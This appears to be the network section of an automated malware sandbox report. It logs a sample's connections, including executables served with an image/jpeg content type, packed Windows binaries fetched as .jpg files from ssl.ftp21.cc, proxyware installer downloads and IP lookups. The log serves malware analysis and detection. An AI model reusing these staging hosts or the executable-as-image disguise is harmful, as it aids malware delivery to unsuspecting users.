Source: global traffic	TCP traffic: 192.168.2.4:55278 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60622 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53893 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65191 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64795 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63464 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62255 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65524 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62812 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61724 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49391 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60755 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:52570 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62929 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62809 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:54634 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61162 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62381 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62265 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64567 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62940 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:56263 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62700 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61732 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61854 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:59095 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49707 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61847 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:57237 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60888 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:51252 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:57113 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:55979 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64692 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64215 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63008 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62957 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:56392 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60536 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60899 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:54771 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:55067 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:57922 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:52476 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53445 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60895 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:58336 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:51148 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:54898 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49495 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53329 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64340 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62284 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62163 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62043 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62046 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61750 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64347 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63018 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61996 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60659 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61627 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:59319 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:57499 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:50983 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49487 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60660 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:52924 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49483 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49361 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62160 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64593 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:51716 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64113 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62177 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62974 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61406 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53346 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53222 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:58917 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53589 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49352 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62171 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64120 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64483 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65211 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62064 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63277 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65458 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63711 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62866 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62505 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63836 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:59691 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:51054 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60565 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60323 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:52265 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:54329 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:52822 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49582 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:52824 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63042 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65347 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65467 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49698 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61300 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:58255 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63724 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:52270 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:51060 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53482 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53002 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:58137 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49574 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:55547 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64264 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62088 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49327 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64387 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49566 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62884 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:59473 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63733 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:56880 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62403 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62524 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63849 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61309 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64938 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:54583 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53131 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:54347 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49200 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49441 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49440 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:52969 -> 1.226.84.135:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sat, 29 Jun 2024 06:04:58 GMTContent-Type: image/jpegContent-Length: 3309568Connection: keep-aliveLast-Modified: Thu, 20 Jun 2024 01:33:06 GMTETag: "44f624cdb1c2da1:303"traceparent: 00-72757caed4e2202bdab7dc3371880078-e202546a99e38231-01X-ID: rj2-hw-edge-gc11Cache: MISSAccept-Ranges: bytesX-ID-FE: rj2-hw-edge-gc10Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 68 40 bc 59 2c 21 d2 0a 2c 21 d2 0a 2c 21 d2 0a 43 3e d9 0a 25 21 d2 0a 43 3e d8 0a 2a 21 d2 0a af 3d dc 0a 00 21 d2 0a 57 3d de 0a 29 21 d2 0a 7a 3e c1 0a 00 21 d2 0a 4e 3e c1 0a 34 21 d2 0a 2c 21 d3 0a 8c 23 d2 0a af 29 8f 0a 2f 21 d2 0a 78 02 e3 0a 2d 21 d2 0a 1a 07 d9 0a 46 21 d2 0a 1a 07 d8 0a ca 21 d2 0a c4 3e d9 0a 70 21 d2 0a c4 3e d8 0a 37 21 d2 0a 2c 21 d2 0a 1c 21 d2 0a eb 27 d4 0a 2d 21 d2 0a 52 69 63 68 2c 21 d2 0a 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3b 85 73 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 32 00 00 20 00 00 00 e0 60 00 70 4c 93 00 00 f0 60 00 00 50 93 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 70 93 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 68 93 00 9c 02 00 00 00 50 93 00 80 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 e0 60 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 60 32 00 00 f0 60 00 00 60 32 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 20 00 00 00 50 93 00 00 1c 00 00 00 64 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sat, 29 Jun 2024 06:05:14 GMTContent-Type: image/jpegContent-Length: 12244992Connection: keep-aliveLast-Modified: Mon, 03 Jun 2024 04:19:31 GMTETag: "b8e74d3b6db5da1:303"traceparent: 00-56e42bce0daa49ed60b6f5495473d173-77434e020d14253f-01X-ID: rj2-hw-edge-gc11Age: 393175Cache: STALEX-Cached-Since: 2024-06-24T16:52:19+00:00Accept-Ranges: bytesX-ID-FE: rj2-hw-edge-gc10Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 14 ff 8b b0 50 9e e5 e3 50 9e e5 e3 50 9e e5 e3 93 91 ba e3 54 9e e5 e3 d3 82 eb e3 4a 9e e5 e3 66 b8 ef e3 24 9e e5 e3 93 91 b8 e3 43 9e e5 e3 50 9e e4 e3 db 9f e5 e3 66 b8 ee e3 0c 9e e5 e3 50 9e e5 e3 51 9e e5 e3 b8 81 ee e3 52 9e e5 e3 52 69 63 68 50 9e e5 e3 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d0 3a 5d 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 d0 ba 00 00 10 00 00 00 50 c4 00 10 2b 7f 01 00 60 c4 00 00 30 7f 01 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 7f 01 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 32 7f 01 c0 01 00 00 00 30 7f 01 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 50 c4 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 d0 ba 00 00 60 c4 00 00 ce ba 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 10 00 00 00 30 7f 01 00 06 00 00 00 d2 ba 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PP
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Length: 1648640Content-Type: image/jpegLast-Modified: Thu, 06 Apr 2023 03:02:52 GMTAccept-Ranges: bytesETag: "b01959473468d91:303"Server: Microsoft-IIS/6.0Date: Sat, 29 Jun 2024 06:05:50 GMTData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 2a b8 64 e1 4b d6 37 e1 4b d6 37 e1 4b d6 37 f5 20 d5 36 ed 4b d6 37 f5 20 d3 36 26 4b d6 37 87 24 2b 37 e5 4b d6 37 8d 3f d2 36 f2 4b d6 37 8d 3f d5 36 eb 4b d6 37 8d 3f d3 36 bd 4b d6 37 f5 20 d2 36 fb 4b d6 37 37 3f d2 36 f3 4b d6 37 f5 20 d7 36 f2 4b d6 37 e1 4b d7 37 88 4a d6 37 54 3e d2 36 b3 49 d6 37 37 3f df 36 48 4b d6 37 37 3f d5 36 e2 4b d6 37 37 3f 29 37 e0 4b d6 37 e1 4b 41 37 e0 4b d6 37 37 3f d4 36 e0 4b d6 37 52 69 63 68 e1 4b d6 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 b8 c2 47 63 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1c 00 20 19 00 00 10 00 00 00 e0 53 00 50 07 6d 00 00 f0 53 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 6d 00 00 10 00 00 00 00 00 00 03 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d8 14 6d 00 4c 02 00 00 00 10 6d 00 d8 04 00 00 00 e0 69 00 e4 bf 01 00 00 00 00 00 00 00 00 00 24 17 6d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 09 6d 00 28 00 00 00 1c 0a 6d 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 e0 53 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 20 19 00 00 f0 53 00 00 1c 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 10 00 00 00 10 6d 00 00 08 00 00 00 20 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /downloads/latest HTTP/1.1Host: data.traffmonetizer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /downloads/Installer.exe HTTP/1.1Host: data.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /downloads/Installer.exe HTTP/1.1Host: downloads.traffmonetizer.comConnection: Keep-Alive

Source: global traffic	HTTP traffic detected: GET /MpMgDLL.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ssl.ftp21.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MpMgSvc.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ssl.ftp21.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Hooks.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ssl.ftp21.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dyndns/getip HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnReferer: http://118.184.169.48/dyndns/getipUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 118.184.169.48
Source: global traffic	HTTP traffic detected: GET /api.php?query=8.46.123.33&co=&resource_id=6006&oe=utf8 HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 45.113.194.127

Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12
Source: unknown	TCP traffic detected without corresponding DNS query: 81.28.12.12

Source: C:\Windows\SysWOW64\svchost.exe

